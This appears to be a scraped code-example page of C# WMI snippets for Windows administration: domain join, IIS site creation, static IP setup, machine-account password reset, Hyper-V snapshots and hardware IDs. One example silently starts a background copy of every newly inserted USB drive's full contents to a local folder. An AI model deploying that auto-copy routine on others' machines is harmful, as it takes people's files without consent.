            methodParameters.SetPropertyValue("FJoinOptions", this._joinDomainflags);
            ManagementBaseObject managementBaseObject = computerSystem.InvokeMethod("JoinDomainOrWorkgroup", methodParameters, null);
            int num = Convert.ToInt32(managementBaseObject["ReturnValue"], CultureInfo.CurrentCulture);

            if (num != 0)
            {
                Win32Exception win32Exception = new Win32Exception(num);
                if (oldDomainName == null)
                {
                    object[] message = new object[4];
                    message[0] = computerName;
                    message[1] = this._domainName;
                    message[2] = curWorkgroupName;
                    message[3] = win32Exception.Message;
                    str        = StringUtil.Format(ComputerResources.FailToJoinDomainFromWorkgroup, message);
                    str1       = "FailToJoinDomainFromWorkgroup";
                }
                else
                {
                    object[] objArray = new object[4];
                    objArray[0] = computerName;
                    objArray[1] = oldDomainName;
                    objArray[2] = this._domainName;
                    objArray[3] = win32Exception.Message;
                    str         = StringUtil.Format(ComputerResources.FailToJoinNewDomainAfterUnjoinOldDomain, objArray);
                    str1        = "FailToJoinNewDomainAfterUnjoinOldDomain";
                }
                this.WriteErrorHelper(str, str1, computerName, ErrorCategory.OperationStopped, false, new object[0]);
            }
            return(num);
        }
Exemplo n.º 39
0
        /// <summary>
        /// Creates site.
        /// </summary>
        /// <param name="site">Site object.</param>
        /// <returns>Site id.</returns>
        internal static string CreateSite(WebSiteItem site)
        {
            //CheckWebServerBindings(site.Bindings);

            // set folder permissions
            //SetWebFolderPermissions(site.ContentPath, site.AnonymousUsername);

            // create Web site
            ManagementObject objService = wmi.GetObject(String.Format("IIsWebService='{0}'", IIS_SERVICE_ID));

            ManagementBaseObject methodParams = objService.GetMethodParameters("CreateNewSite");

            // create server bindings
            ManagementClass clsBinding = wmi.GetClass("ServerBinding");

            ManagementObject[] objBindings = new ManagementObject[site.Bindings.Length];

            for (int i = 0; i < objBindings.Length; i++)
            {
                objBindings[i]             = clsBinding.CreateInstance();
                objBindings[i]["Hostname"] = site.Bindings[i].Host;
                objBindings[i]["IP"]       = site.Bindings[i].IP;
                objBindings[i]["Port"]     = site.Bindings[i].Port;
            }

            methodParams["ServerBindings"]       = objBindings;
            methodParams["ServerComment"]        = site.Name;
            methodParams["PathOfRootVirtualDir"] = site.ContentPath;

            ManagementBaseObject objResult = objService.InvokeMethod("CreateNewSite", methodParams, new InvokeMethodOptions());

            // get WEB settings
            string siteId = ((string)objResult["returnValue"]).Remove(0, "IIsWebServer='".Length).Replace("'", "");

            // update site properties
            ManagementObject objSite    = wmi.GetObject(String.Format("IIsWebServerSetting='{0}'", siteId));
            ManagementObject objVirtDir = wmi.GetObject(
                String.Format("IIsWebVirtualDirSetting='{0}'", GetVirtualDirectoryPath(siteId, "")));

            if (site.LogFileDirectory != null && site.LogFileDirectory != "")
            {
                objSite.Properties["LogFileDirectory"].Value = site.LogFileDirectory;
            }

            FillWmiObjectFromVirtualDirectory(objSite, site);
            objSite.Put();

            FillWmiObjectFromVirtualDirectory(objVirtDir, site);
            FillWmiObjectFromVirtualDirectoryRest(objVirtDir, site);

            // set correct default documents
            SetVirtualDirectoryDefaultDocs(objVirtDir);

            // set ASP.NET
            SetVirtualDirectoryAspNetMappings(objVirtDir, site.InstalledDotNetFramework);

            // save object
            objVirtDir.Put();

            // start site
            ChangeSiteState(siteId, ServerState.Started);

            return(siteId);
        }
Exemplo n.º 40
0
 public LastAppliedSnapshot(ManagementObject theObject) : base(theObject, ClassName)
 {
 }
Exemplo n.º 41
0
    public void setIP(ManagementObject objMO, string IPAddress, string SubnetMask, string Gateway)
    {
        try {
            ManagementBaseObject objNewIP, objNewGate, objNewDns;
            objNewIP = objMO.GetMethodParameters("EnableStatic");
            objNewGate = objMO.GetMethodParameters("SetGateways");
            objNewDns = objMO.GetMethodParameters("EnableDNS");

            objNewGate["DefaultIPGateway"] = new string[] { Gateway };
            objNewGate["GatewayCostMetric"] = new int[] { 1 };
            objNewIP["IPAddress"] = new string[] { IPAddress };
            objNewIP["SubnetMask"] = new string[] { SubnetMask };
            //objNewDns["DNSServerSearchOrder"] = new string[] { DNS1, DNS2 };

            objMO.InvokeMethod("SetDNSServerSearchOrder", objNewDns, null);
            objMO.InvokeMethod("EnableStatic", objNewIP, null);
            objMO.InvokeMethod("SetGateways", objNewGate, null);

            //MessageBox.Show("Updated IPAddress, SubnetMask and Default Gateway!");
        }
        catch (Exception ex) {
            MessageBox.Show("Unable to Set IP : " + ex.Message);
        }
    }
Exemplo n.º 42
0
        protected override void ProcessRecord()
        {
            // Not to use Environment.MachineName to avoid the injection attack
            string localMachineName = Dns.GetHostName();
            string domainName = null;
            Exception exception = null;

            if (!ShouldProcess(localMachineName))
            {
                return;
            }

            try
            {
                ManagementObject computerSystemInstance = new ManagementObject("Win32_ComputerSystem.Name=\"" + localMachineName + "\"");
                if (!(bool)computerSystemInstance["PartOfDomain"])
                {
                    string errMsg = ComputerResources.ResetComputerNotInDomain;
                    ErrorRecord error = new ErrorRecord(new InvalidOperationException(errMsg), "ComputerNotInDomain",
                                                        ErrorCategory.InvalidOperation, localMachineName);
                    ThrowTerminatingError(error);
                }
                domainName = (string)LanguagePrimitives.ConvertTo(computerSystemInstance["Domain"], typeof(string), CultureInfo.InvariantCulture);
            }
            catch (ManagementException ex)
            {
                exception = ex;
            }
            catch (COMException ex)
            {
                exception = ex;
            }
            catch (UnauthorizedAccessException ex)
            {
                exception = ex;
            }
            if (exception != null)
            {
                string errMsg = StringUtil.Format(ComputerResources.FailToGetDomainInformation, exception.Message);
                ErrorRecord error = new ErrorRecord(new InvalidOperationException(errMsg), "FailToGetDomainInformation",
                                                    ErrorCategory.OperationStopped, localMachineName);
                ThrowTerminatingError(error);
            }

            // Get domain directory entry and reset the password on the machine account of the local machine
            Dbg.Diagnostics.Assert(domainName != null, "domainOrServerName should not be null at this point");
            ResetMachineAccountPassword(domainName, localMachineName, Server, Credential, this);
        }
Exemplo n.º 43
0
        public const int DBT_DEVICEREMOVEPENDING     = 0x8003; //一个设备或媒体一块即将被删除。不能否认的。

        protected override void DefWndProc(ref Message m)
        {
            if (m.Msg == WM_DEVICECHANGE)
            {
                int wp = m.WParam.ToInt32();
                //存储设备插/拔/弹
                if (wp == DBT_DEVICEARRIVAL || wp == DBT_DEVICEQUERYREMOVE || wp == DBT_DEVICEREMOVECOMPLETE || wp == DBT_DEVICEREMOVEPENDING)
                {
                    DEV_BROADCAST_HDR dbhdr = (DEV_BROADCAST_HDR)Marshal.PtrToStructure(m.LParam, typeof(DEV_BROADCAST_HDR));
                    if (dbhdr.dbch_devicetype == 2)
                    {
                        DEV_BROADCAST_VOLUME dbv = (DEV_BROADCAST_VOLUME)Marshal.PtrToStructure(m.LParam, typeof(DEV_BROADCAST_VOLUME));
                        if (dbv.dbcv_flags == 0)
                        {
                            char[] volums = GetVolumes(dbv.dbcv_unitmask);
                            string disk   = volums[0].ToString() + ":";
                            if (wp == DBT_DEVICEARRIVAL) //存储设备插入
                            {
                                try
                                {
                                    ManagementObject diskinfo = new ManagementObject("win32_logicaldisk.deviceid=\"" + disk + "\"");
                                    string           diskser  = "";
                                    string           diskname = "";
                                    string           diskdir;
                                    object           diskserdata  = diskinfo.Properties["VolumeSerialNumber"].Value;
                                    object           disknamedata = diskinfo.Properties["VolumeName"].Value;
                                    if (disknamedata != null)
                                    {
                                        diskname = disknamedata.ToString();
                                    }
                                    if (diskserdata == null)
                                    {
                                        if (string.IsNullOrEmpty(diskname))
                                        {
                                            diskdir = disk.Substring(0, 1);
                                        }
                                        else
                                        {
                                            diskdir = disk.Substring(0, 1) + " - " + diskname;
                                        }
                                        msg(disk, "存储设备已插入");
                                        Program.log("获取存储设备序列号失败,文件目录将命名为:" + diskdir);
                                    }
                                    else
                                    {
                                        diskser = diskserdata.ToString();
                                        diskdir = diskser;
                                        msg(disk + " - " + diskser, "存储设备已插入");
                                    }
                                    if (EnableToolStripMenuItem.Checked)
                                    {
                                        if (!string.IsNullOrEmpty(diskser) && blackid.Contains(diskser))
                                        {
                                            Program.log("黑名单磁盘序列号:" + diskser + " 取消复制!");
                                            return;
                                        }
                                        if (blackdisk.Contains(disk.Substring(0, 1)))
                                        {
                                            Program.log("黑名单分区号:" + disk + " 取消复制!");
                                            return;
                                        }
                                        copyThread[disk] = new Thread(() =>
                                        {
                                            if (Properties.Settings.Default.sleep > 0)
                                            {
                                                Program.log("延迟复制:将在 " + Properties.Settings.Default.sleep + "秒后进行复制");
                                                Thread.Sleep(Properties.Settings.Default.sleep * 1000);
                                                if (!Directory.Exists(disk + "\\"))
                                                {
                                                    if (string.IsNullOrEmpty(diskser))
                                                    {
                                                        Program.log("在延迟复制期间获取序列号失败的存储设备已拔出,复制取消:" + diskdir, 1);
                                                    }
                                                    else
                                                    {
                                                        Program.log("在延迟复制期间存储设备已拔出,复制取消:" + disk + " - " + diskser, 1);
                                                    }
                                                    return;
                                                }
                                            }
                                            setIcon(iconStatus.working);
                                            if (Properties.Settings.Default.autorm && Directory.Exists(dir + diskdir))
                                            {
                                                Program.log("清空输出目录:" + dir + diskdir);
                                                Directory.Delete(dir + diskdir, true);
                                            }
                                            CopyDirectory(disk + "\\", dir + diskdir);
                                            setIcon(iconStatus.free);
                                            if (string.IsNullOrEmpty(diskser))
                                            {
                                                Program.log("设备数据复制完成,但由于获取磁盘序列号失败,文件目录命名为:" + diskdir);
                                            }
                                            else
                                            {
                                                Program.log("设备数据复制完成:" + disk + " - " + diskser);
                                            }
                                            copyThread.Remove(disk);
                                        });
                                        copyThread[disk].IsBackground = true;
                                        copyThread[disk].Start();
                                    }
                                }
                                catch (Exception ex)
                                {
                                    setIcon(iconStatus.free);
                                    Program.log("获取插入的存储设备信息失败,复制已取消:" + ex.ToString(), 2);
                                }
                            }
                            else  //存储设备拔/弹出
                            {
                                try
                                {
                                    setIcon(iconStatus.free);
                                    if (copyThread.ContainsKey(disk))
                                    {
                                        if (copyThread[disk].IsAlive)
                                        {
                                            copyThread[disk].Abort();
                                            copyThread[disk] = null;
                                        }
                                        copyThread.Remove(disk);
                                        Program.log("用户弹出了存储设备,强制停止复制:" + disk, 1);
                                    }
                                }
                                catch (Exception) {}
                            }
                        }
                    }
                }
            }
            base.DefWndProc(ref m);
        }
Exemplo n.º 44
0
        public static VMSnapshot GetVMSnapshotTree(VM vm)
        {
            //Getting the Management object containing snapshots array of current VM
            // ManagementBaseObject snapshots = Utility.GetSummaryInformation(vm, new uint[] { VMRequestedInformation.Snapshots });
            ManagementObjectCollection VirtualSystemSettingsCollection = vm.Instance.GetRelated("Msvm_VirtualSystemSettingData");

            VMSnapshot SnapshotTree = null;

            try
            {
                //Getting snapshots array of current VM
                //ManagementBaseObject[] VirtualSystemSettingsCollection = (ManagementBaseObject[])snapshots["Snapshots"];
                if (VirtualSystemSettingsCollection != null)
                {
                    Dictionary <string, VMSnapshot> AvailableSnapshots = new Dictionary <string, VMSnapshot> ();
                    //Building snapshots tree
                    foreach (ManagementObject snapshotsObj in VirtualSystemSettingsCollection)
                    {
                        //Check if the setting is snapshot (SettingType = 5). If the setting represents current settings, then SettingType = 3
                        if ((UInt16)snapshotsObj["SettingType"] == 5)
                        {
                            //current VMSnapshots instance
                            VMSnapshot child;
                            //check if instance of this snapshot is not already exist
                            if (!AvailableSnapshots.ContainsKey((string)snapshotsObj["InstanceID"]))
                            {
                                child = new VMSnapshot(snapshotsObj);
                                //Adding new snapshot instance to the Dictionary
                                AvailableSnapshots.Add((string)child.SnapshotInstance["InstanceID"], child);
                            }
                            else
                            {
                                //this snapshot is already exist in the Dictionary
                                child = AvailableSnapshots[(string)snapshotsObj["InstanceID"]];
                            }
                            if (snapshotsObj["Parent"] == null)
                            {
                                //Current snapshot is root snapshot
                                SnapshotTree = child;
                            }
                            else
                            {
                                //Current Snapshot is not a root snapshot
                                ManagementObject parentObj = new ManagementObject((string)snapshotsObj["Parent"]);
                                if (!AvailableSnapshots.ContainsKey((string)parentObj["InstanceID"]))
                                {
                                    //Parent VMSnapshot snapshot instance is not already present. So we create it
                                    VMSnapshot parent = new VMSnapshot(parentObj);
                                    //.. and add it to the Dictionary
                                    AvailableSnapshots.Add((string)parentObj["InstanceID"], parent);
                                }
                                ///Adding current child to children array of parent snapshot if child is not already exist. This because
                                ///GetRelated() function returns some snapshots several times as snapshot, last applied snapshot
                                ///and previous settings
                                if (!AvailableSnapshots[(string)parentObj["InstanceID"]].ChildSnapshots.Contains(child))
                                {
                                    AvailableSnapshots[(string)parentObj["InstanceID"]].AddChild(child);
                                }
                            }
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, "GetVMSnapshotTree");
            }
            return(SnapshotTree);
        }
Exemplo n.º 45
0
        public static string GetMotherBoardID()
        {
            string mbInfo = String.Empty;
            ManagementScope scope = new ManagementScope("\\\\" + Environment.MachineName + "\\root\\cimv2");
            scope.Connect();
            ManagementObject wmiClass = new ManagementObject(scope, new ManagementPath("Win32_BaseBoard.Tag=\"Base Board\""), new ObjectGetOptions());

            foreach (PropertyData propData in wmiClass.Properties)
            {
                if (propData.Name == "SerialNumber")
                    mbInfo = String.Format("{0}", Convert.ToString(propData.Value).Trim()).Replace('-', '#'); ;
            }

            return mbInfo;
        }